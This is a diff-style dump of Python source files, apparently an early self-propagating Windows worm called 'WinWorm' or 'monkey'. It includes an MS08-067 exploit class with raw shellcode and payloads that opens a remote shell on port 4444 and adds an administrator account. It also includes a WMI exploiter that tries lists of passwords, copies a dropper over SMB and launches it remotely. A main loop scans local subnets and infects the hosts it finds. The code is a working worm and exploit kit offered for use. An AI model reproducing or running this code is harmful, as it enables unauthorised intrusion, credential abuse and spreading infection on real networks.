SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
|
||||
SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
|
||||
SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
|
||||
SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
|
||||
SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
|
||||
SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
|
||||
SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
|
||||
SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
|
||||
SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
|
||||
SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
|
||||
SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
|
||||
SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
|
||||
SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
|
||||
SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
|
||||
SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
|
||||
SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
|
||||
SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
|
||||
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
|
||||
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
|
||||
|
||||
|
||||
# Payload for Windows 2000 target
|
||||
PAYLOAD_2000 ='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
|
||||
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
PAYLOAD_2000 += '\x41\x41'
|
||||
PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
|
||||
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
||||
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
||||
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
||||
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
||||
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
||||
PAYLOAD_2000 += '\xeb\xcc'
|
||||
PAYLOAD_2000 += '\x00\x00'
|
||||
|
||||
# Payload for Windows 2003[SP2] target
|
||||
PAYLOAD_2003 ='\x41\x00\x5c\x00'
|
||||
PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
|
||||
PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
|
||||
PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00'
|
||||
PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae'
|
||||
PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00'
|
||||
PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43'
|
||||
PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff'
|
||||
PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75'
|
||||
PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5'
|
||||
PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6'
|
||||
PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
|
||||
|
||||
|
||||
class WindowsVersion(IntEnum):
|
||||
Windows2000 = 1
|
||||
Windows2003_SP2 = 2
|
||||
|
||||
|
||||
class SRVSVC_Exploit(object):
|
||||
TELNET_PORT = 4444
|
||||
|
||||
def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445):
|
||||
self._port = port
|
||||
self._target = target_addr
|
||||
self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
|
||||
|
||||
def get_telnet_port(self):
|
||||
"""get_telnet_port()
|
||||
|
||||
The port on which the Telnet service will listen.
|
||||
"""
|
||||
|
||||
return SRVSVC_Exploit.TELNET_PORT
|
||||
|
||||
def start(self):
|
||||
"""start() -> socket
|
||||
|
||||
Exploit the target machine and return a socket connected to it's
|
||||
listening Telnet service.
|
||||
"""
|
||||
|
||||
target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
|
||||
|
||||
LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
|
||||
self._trans = transport.DCERPCTransportFactory(target_rpc_name)
|
||||
self._trans.connect()
|
||||
|
||||
LOG.debug("Connected to %s", target_rpc_name)
|
||||
|
||||
self._dce = self._trans.DCERPC_class(self._trans)
|
||||
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
|
||||
|
||||
dce_packet = self._build_dce_packet()
|
||||
self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation
|
||||
|
||||
LOG.debug("Exploit sent to %s successfully...", self._target)
|
||||
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
||||
|
||||
sock = socket.socket()
|
||||
sock.connect((self._target, self.get_telnet_port()))
|
||||
return sock
|
||||
|
||||
def _build_dce_packet(self):
|
||||
# Constructing Malicious Packet
|
||||
dce_packet = '\x01\x00\x00\x00'
|
||||
dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
|
||||
dce_packet += SHELLCODE
|
||||
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||
dce_packet += '\x00\x00\x00\x00'
|
||||
dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
|
||||
dce_packet += self._payload
|
||||
dce_packet += '\x00\x00\x00\x00'
|
||||
dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00'
|
||||
dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00'
|
||||
dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00'
|
||||
dce_packet += '\x01\x00\x00\x00'
|
||||
|
||||
return dce_packet
|
||||
|
||||
class Ms08_067_Exploiter(HostExploiter):
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def exploit_host(self, host, src_path):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
exploited = False
|
||||
for _ in range(self._config.ms08_067_exploit_attempts):
|
||||
exploit = SRVSVC_Exploit(target_addr=host.ip_addr)
|
||||
|
||||
try:
|
||||
sock = exploit.start()
|
||||
|
||||
sock.send("cmd /c (net user %s %s /add) &&"
|
||||
" (net localgroup administrators %s /add)\r\n" % \
|
||||
(self._config.ms08_067_remote_user_add,
|
||||
self._config.ms08_067_remote_user_pass,
|
||||
self._config.ms08_067_remote_user_add))
|
||||
time.sleep(2)
|
||||
reply = sock.recv(1000)
|
||||
|
||||
LOG.debug("Exploited into %r using MS08-067", host)
|
||||
exploited = True
|
||||
break
|
||||
except Exception, exc:
|
||||
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter MS08-067 is giving up...")
|
||||
return False
|
||||
|
||||
# copy the file remotely using SMB
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
self._config.ms08_067_remote_user_add,
|
||||
self._config.ms08_067_remote_user_pass,
|
||||
src_path,
|
||||
self._config.dropper_target_path)
|
||||
if not remote_full_path:
|
||||
# try other passwords for administrator
|
||||
for password in self._config.psexec_passwords:
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
"Administrator",
|
||||
password,
|
||||
src_path,
|
||||
self._config.dropper_target_path)
|
||||
if remote_full_path:
|
||||
break
|
||||
|
||||
if not remote_full_path:
|
||||
return False
|
||||
|
||||
# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
||||
|
||||
|
||||
try:
|
||||
sock.send("start %s\r\n" % (cmdline, ))
|
||||
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
|
||||
except Exception, exc:
|
||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
|
||||
return False
|
||||
finally:
|
||||
try: sock.close()
|
||||
except: pass
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path, host, cmdline)
|
||||
|
||||
return True
|
|
@ -0,0 +1,99 @@
|
|||
|
||||
import socket
|
||||
import ntpath
|
||||
import logging
|
||||
import traceback
|
||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
||||
from model.host import VictimHost
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools, WmiTools, AccessDeniedException
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
class WmiExploiter(HostExploiter):
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
@WmiTools.dcom_wrap
|
||||
def exploit_host(self, host, src_path):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
passwords = list(self._config.psexec_passwords[:])
|
||||
known_password = host.get_credentials(self._config.psexec_user)
|
||||
if known_password is not None:
|
||||
if known_password in passwords:
|
||||
passwords.remove(known_password)
|
||||
passwords.insert(0, known_password)
|
||||
|
||||
for password in passwords:
|
||||
LOG.debug("Attempting to connect %r using WMI with password '%s'",
|
||||
host, password)
|
||||
|
||||
wmi_connection = WmiTools.WmiConnection()
|
||||
|
||||
try:
|
||||
wmi_connection.connect(host,
|
||||
self._config.psexec_user,
|
||||
password)
|
||||
except AccessDeniedException:
|
||||
LOG.debug("Failed connecting to %r using WMI with password '%s'",
|
||||
host, password)
|
||||
continue
|
||||
except socket.error, exc:
|
||||
LOG.debug("Network error in WMI connection to %r with password '%s' (%s)",
|
||||
host, password, exc)
|
||||
return False
|
||||
except Exception, exc:
|
||||
LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s",
|
||||
host, password, exc, traceback.format_exc())
|
||||
return False
|
||||
|
||||
host.learn_credentials(self._config.psexec_user, password)
|
||||
|
||||
# query process list and check if monkey already running on victim
|
||||
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
||||
fields=("Caption", ),
|
||||
where="Name='%s'" % ntpath.split(src_path)[-1])
|
||||
if process_list:
|
||||
wmi_connection.close()
|
||||
|
||||
LOG.debug("Skipping %r - already infected", host)
|
||||
return False
|
||||
|
||||
# copy the file remotely using SMB
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
self._config.psexec_user,
|
||||
password,
|
||||
src_path,
|
||||
self._config.dropper_target_path)
|
||||
if not remote_full_path:
|
||||
wmi_connection.close()
|
||||
|
||||
return False
|
||||
|
||||
# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
||||
|
||||
# execute the remote monkey
|
||||
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
||||
ntpath.split(remote_full_path)[0],
|
||||
None)
|
||||
|
||||
if (0 != result.ProcessId) and (0 == result.ReturnValue):
|
||||
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
success = True
|
||||
else:
|
||||
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
success = False
|
||||
|
||||
result.RemRelease()
|
||||
wmi_connection.close()
|
||||
|
||||
return success
|
||||
|
||||
return False
|
|
@ -0,0 +1,80 @@
|
|||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
import traceback
|
||||
import logging.config
|
||||
from config import WormConfiguration
|
||||
from model import MONKEY_ARG, DROPPER_ARG
|
||||
from dropper import MonkeyDrops
|
||||
from monkey import ChaosMonkey
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = None
|
||||
|
||||
LOG_CONFIG = {'version': 1,
|
||||
'disable_existing_loggers': False,
|
||||
'formatters': {'standard': {'format': '%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
|
||||
},
|
||||
'handlers': {'console': {'class': 'logging.StreamHandler',
|
||||
'level': 'DEBUG',
|
||||
'formatter': 'standard'},
|
||||
'file': {'class': 'logging.FileHandler',
|
||||
'level': 'DEBUG',
|
||||
'formatter': 'standard',
|
||||
'filename': None}
|
||||
},
|
||||
'root': {'level': 'DEBUG',
|
||||
'handlers': ['console']},
|
||||
}
|
||||
|
||||
def main():
|
||||
global LOG
|
||||
|
||||
if 2 > len(sys.argv):
|
||||
return True
|
||||
|
||||
monkey_mode = sys.argv[1]
|
||||
monkey_args = sys.argv[2:]
|
||||
|
||||
try:
|
||||
if MONKEY_ARG == monkey_mode:
|
||||
log_path = WormConfiguration.monkey_log_path
|
||||
monkey_cls = ChaosMonkey
|
||||
elif DROPPER_ARG == monkey_mode:
|
||||
log_path = WormConfiguration.dropper_log_path
|
||||
monkey_cls = MonkeyDrops
|
||||
else:
|
||||
return True
|
||||
except ValueError:
|
||||
return True
|
||||
|
||||
if WormConfiguration.use_file_logging:
|
||||
LOG_CONFIG['handlers']['file']['filename'] = log_path
|
||||
LOG_CONFIG['root']['handlers'].append('file')
|
||||
|
||||
logging.config.dictConfig(LOG_CONFIG)
|
||||
LOG = logging.getLogger()
|
||||
|
||||
def log_uncaught_exceptions(ex_cls, ex, tb):
|
||||
LOG.critical(''.join(traceback.format_tb(tb)))
|
||||
LOG.critical('{0}: {1}'.format(ex_cls, ex))
|
||||
|
||||
sys.excepthook = log_uncaught_exceptions
|
||||
|
||||
LOG.info(">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<",
|
||||
monkey_cls.__name__, os.getpid())
|
||||
|
||||
monkey = monkey_cls(monkey_args)
|
||||
monkey.initialize()
|
||||
|
||||
try:
|
||||
monkey.start()
|
||||
return True
|
||||
finally:
|
||||
monkey.cleanup()
|
||||
|
||||
if "__main__" == __name__:
|
||||
if not main():
|
||||
sys.exit(1)
|
|
@ -0,0 +1,10 @@
|
|||
__author__ = 'itamar'
|
||||
|
||||
MONKEY_ARG = "m0nk3y"
|
||||
DROPPER_ARG = "dr0pp3r"
|
||||
DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
|
||||
from host import VictimHost
|
|
@ -0,0 +1,31 @@
|
|||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class VictimHost(object):
|
||||
def __init__(self, ip_addr):
|
||||
self.ip_addr = ip_addr
|
||||
self.cred = {}
|
||||
|
||||
def __hash__(self):
|
||||
return hash(self.ip_addr)
|
||||
|
||||
def __eq__(self, other):
|
||||
if not isinstance(other, VictimHost):
|
||||
return False
|
||||
|
||||
return self.ip_addr.__eq__(other.ip_addr)
|
||||
|
||||
def __cmp__(self, other):
|
||||
if not isinstance(other, VictimHost):
|
||||
return -1
|
||||
|
||||
return self.ip_addr.__cmp__(other.ip_addr)
|
||||
|
||||
def __repr__(self):
|
||||
return "<VictimHost %s>" % (self.ip_addr, )
|
||||
|
||||
def learn_credentials(self, username, password):
|
||||
self.cred[username.lower()] = password
|
||||
|
||||
def get_credentials(self, username):
|
||||
return self.cred.get(username.lower(), None)
|
Binary file not shown.
After Width: | Height: | Size: 232 KiB |
|
@ -0,0 +1,107 @@
|
|||
|
||||
import sys
|
||||
import time
|
||||
import logging
|
||||
from system_singleton import SystemSingleton
|
||||
from control import ControlClient
|
||||
from config import WormConfiguration
|
||||
from network.network_scanner import NetworkScanner
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
# TODO:
|
||||
# 1. Remote dating of copied file
|
||||
# 2. OS Detection prior to exploit
|
||||
# 3. Exploit using token credentials
|
||||
# 4. OS Support for exploitation modules (win / linux specific)
|
||||
# 5. Linux portability
|
||||
# 6. Clear eventlog after exploitation
|
||||
# 7. Add colors to logger
|
||||
|
||||
class ChaosMonkey(object):
|
||||
def __init__(self, args):
|
||||
self._keep_running = False
|
||||
self._exploited_machines = set()
|
||||
self._fail_exploitation_machines = set()
|
||||
self._singleton = SystemSingleton()
|
||||
|
||||
def initialize(self):
|
||||
LOG.info("WinWorm is initializing...")
|
||||
|
||||
if not self._singleton.try_lock():
|
||||
raise Exception("Another instance of the monkey is already running")
|
||||
|
||||
self._network = NetworkScanner()
|
||||
self._network.initialize()
|
||||
self._keep_running = True
|
||||
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
||||
self._dropper_path = sys.argv[0]
|
||||
|
||||
new_config = ControlClient.get_control_config()
|
||||
|
||||
def start(self):
|
||||
LOG.info("WinWorm is running...")
|
||||
|
||||
for _ in xrange(WormConfiguration.max_iterations):
|
||||
new_config = ControlClient.get_control_config()
|
||||
|
||||
if not self._keep_running:
|
||||
break
|
||||
|
||||
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
|
||||
max_find=WormConfiguration.victims_max_find)
|
||||
|
||||
for machine in machines:
|
||||
# skip machines that we've already exploited
|
||||
if machine in self._exploited_machines:
|
||||
LOG.debug("Skipping %r - already exploited",
|
||||
machine)
|
||||
continue
|
||||
elif machine in self._fail_exploitation_machines:
|
||||
LOG.debug("Skipping %r - exploitation failed before",
|
||||
machine)
|
||||
continue
|
||||
|
||||
successful_exploiter = None
|
||||
for exploiter in self._exploiters:
|
||||
LOG.info("Trying to exploit %r with exploiter %s...",
|
||||
machine, exploiter.__class__.__name__)
|
||||
|
||||
try:
|
||||
if exploiter.exploit_host(machine, self._dropper_path):
|
||||
successful_exploiter = exploiter
|
||||
break
|
||||
else:
|
||||
LOG.info("Failed exploiting %r with exploiter %s",
|
||||
machine, exploiter.__class__.__name__)
|
||||
except Exception, exc:
|
||||
LOG.error("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
continue
|
||||
|
||||
if successful_exploiter:
|
||||
self._exploited_machines.add(machine)
|
||||
|
||||
LOG.info("Successfully propagated to %s using %s",
|
||||
machine, successful_exploiter.__class__.__name__)
|
||||
|
||||
# check if max-exploitation limit is reached
|
||||
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
|
||||
self._keep_running = False
|
||||
|
||||
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
|
||||
break
|
||||
else:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
|
||||
time.sleep(WormConfiguration.timeout_between_iterations)
|
||||
|
||||
if self._keep_running:
|
||||
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
||||
|
||||
def cleanup(self):
|
||||
self._keep_running = False
|
||||
|
||||
self._singleton.unlock()
|
|
@ -0,0 +1,15 @@
|
|||
|
||||
from abc import ABCMeta, abstractmethod
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class HostScanner(object):
|
||||
__metaclass__ = ABCMeta
|
||||
|
||||
@abstractmethod
|
||||
def is_host_alive(self, host):
|
||||
raise NotImplementedError()
|
||||
|
||||
|
||||
from ping_scanner import PingScanner
|
||||
from tcp_scanner import TcpScanner
|
|
@ -0,0 +1,61 @@
|
|||
|
||||
import time
|
||||
import socket
|
||||
import logging
|
||||
from network import HostScanner
|
||||
from config import WormConfiguration
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
SCAN_DELAY = 0
|
||||
|
||||
class NetworkScanner(object):
|
||||
def __init__(self):
|
||||
self._ip_addresses = None
|
||||
self._ranges = None
|
||||
|
||||
def initialize(self):
|
||||
# get local ip addresses
|
||||
local_hostname = socket.gethostname()
|
||||
self._ip_addresses = socket.gethostbyname_ex(local_hostname)[2]
|
||||
|
||||
if not self._ip_addresses:
|
||||
raise Exception("Cannot find local IP address for the machine")
|
||||
|
||||
LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses)
|
||||
|
||||
self._ranges = [WormConfiguration.range_class(ip_address)
|
||||
for ip_address in self._ip_addresses]
|
||||
|
||||
LOG.info("Base local networks to scan are: %r", self._ranges)
|
||||
|
||||
def get_victim_machines(self, scan_type, max_find=5):
|
||||
assert issubclass(scan_type, HostScanner)
|
||||
|
||||
scanner = scan_type()
|
||||
victims_count = 0
|
||||
|
||||
for range in self._ranges:
|
||||
LOG.debug("Scanning for potantional victims in the network %r", range)
|
||||
for victim in range:
|
||||
# skip self IP address
|
||||
if victim.ip_addr in self._ip_addresses:
|
||||
continue
|
||||
|
||||
LOG.debug("Scanning %r...", victim)
|
||||
|
||||
# if scanner detect machine is up, add it to victims list
|
||||
if scanner.is_host_alive(victim):
|
||||
LOG.debug("Found potational victim: %r", victim)
|
||||
victims_count += 1
|
||||
yield victim
|
||||
|
||||
if victims_count >= max_find:
|
||||
LOG.debug("Found max needed victims (%d), stopping scan", max_find)
|
||||
|
||||
break
|
||||
|
||||
if SCAN_DELAY:
|
||||
time.sleep(SCAN_DELAY)
|
|
@ -0,0 +1,26 @@
|
|||
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
from network import HostScanner
|
||||
from model.host import VictimHost
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
|
||||
PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
|
||||
|
||||
class PingScanner(HostScanner):
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._devnull = open(os.devnull, "w")
|
||||
|
||||
def is_host_alive(self, host):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
return 0 == subprocess.call(["ping",
|
||||
PING_COUNT_FLAG, "1",
|
||||
PING_TIMEOUT_FLAG, str(self._config.ping_scan_timeout),
|
||||
host.ip_addr],
|
||||
stdout=self._devnull,
|
||||
stderr=self._devnull)
|
|
@ -0,0 +1,69 @@
|
|||
|
||||
import socket
|
||||
import random
|
||||
import struct
|
||||
from abc import ABCMeta, abstractmethod
|
||||
from model.host import VictimHost
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class NetworkRange(object):
|
||||
__metaclass__ = ABCMeta
|
||||
|
||||
def __init__(self, base_address, shuffle=True):
|
||||
self._base_address = base_address
|
||||
self._shuffle = shuffle
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
@abstractmethod
|
||||
def _get_range(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
def __iter__(self):
|
||||
base_range = self._get_range()
|
||||
if self._shuffle:
|
||||
random.shuffle(base_range)
|
||||
|
||||
for x in base_range:
|
||||
yield VictimHost(socket.inet_ntoa(struct.pack(">L", self._base_address + x)))
|
||||
|
||||
|
||||
class ClassCRange(NetworkRange):
|
||||
def __init__(self, base_address, shuffle=True):
|
||||
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] & 0xFFFFFF00
|
||||
super(ClassCRange, self).__init__(base_address, shuffle=shuffle)
|
||||
|
||||
def __repr__(self):
|
||||
return "<ClassCRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)),
|
||||
socket.inet_ntoa(struct.pack(">L", self._base_address + 254)))
|
||||
|
||||
def _get_range(self):
|
||||
return range(1, 254)
|
||||
|
||||
|
||||
class RelativeRange(NetworkRange):
|
||||
def __init__(self, base_address, shuffle=True):
|
||||
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0]
|
||||
super(RelativeRange, self).__init__(base_address, shuffle=shuffle)
|
||||
self._size = self._config.range_size
|
||||
|
||||
def __repr__(self):
|
||||
return "<RelativeRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address - self._size)),
|
||||
socket.inet_ntoa(struct.pack(">L", self._base_address + self._size)))
|
||||
|
||||
def _get_range(self):
|
||||
return range(-self._size, self._size + 1)
|
||||
|
||||
|
||||
class FixedRange(NetworkRange):
|
||||
def __init__(self, base_address, shuffle=True):
|
||||
base_address = 0
|
||||
super(FixedRange, self).__init__(base_address, shuffle=shuffle)
|
||||
self._fixed_addresses = self._config.range_fixed
|
||||
|
||||
def __repr__(self):
|
||||
return "<FixedRange %s>" % (",".join(self._fixed_addresses))
|
||||
|
||||
def _get_range(self):
|
||||
return [struct.unpack(">L", socket.inet_aton(address))[0]
|
||||
for address in self._fixed_addresses]
|
|
@ -0,0 +1,29 @@
|
|||
|
||||
import time
|
||||
import socket
|
||||
from network import HostScanner
|
||||
from model.host import VictimHost
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class TcpScanner(HostScanner):
|
||||
def __init__(self, target_port=None):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def is_host_alive(self, host):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
for target_port in self._config.tcp_target_ports:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(self._config.tcp_scan_timeout / 1000.0)
|
||||
|
||||
try:
|
||||
sock.connect((host.ip_addr, target_port))
|
||||
sock.close()
|
||||
return True
|
||||
except socket.error:
|
||||
time.sleep(self._config.tcp_scan_interval / 1000.0)
|
||||
|
||||
continue
|
||||
|
||||
return False
|
|
@ -0,0 +1,87 @@
|
|||
|
||||
import sys
|
||||
import ctypes
|
||||
import logging
|
||||
import winerror
|
||||
from abc import ABCMeta, abstractmethod
|
||||
from config import WormConfiguration
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
class _SystemSingleton(object):
|
||||
__metaclass__ = ABCMeta
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def locked(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
@abstractmethod
|
||||
def try_lock(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
@abstractmethod
|
||||
def unlock(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
|
||||
class WindowsSystemSingleton(_SystemSingleton):
|
||||
def __init__(self):
|
||||
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name, )
|
||||
self._mutex_handle = None
|
||||
|
||||
@property
|
||||
def locked(self):
|
||||
return self._mutex_handle is not None
|
||||
|
||||
def try_lock(self):
|
||||
assert self._mutex_handle is None, "Singleton already locked"
|
||||
|
||||
handle = ctypes.windll.kernel32.CreateMutexA(None,
|
||||
ctypes.c_bool(True),
|
||||
ctypes.c_char_p(self._mutex_name))
|
||||
last_error = ctypes.windll.kernel32.GetLastError()
|
||||
if not handle:
|
||||
LOG.error("Cannot acquire system singleton %r, unknown error %d",
|
||||
self._mutex_name, last_error)
|
||||
|
||||
return False
|
||||
|
||||
if winerror.ERROR_ALREADY_EXISTS == last_error:
|
||||
LOG.debug("Cannot acquire system singleton %r, mutex already exist",
|
||||
self._mutex_name)
|
||||
|
||||
return False
|
||||
|
||||
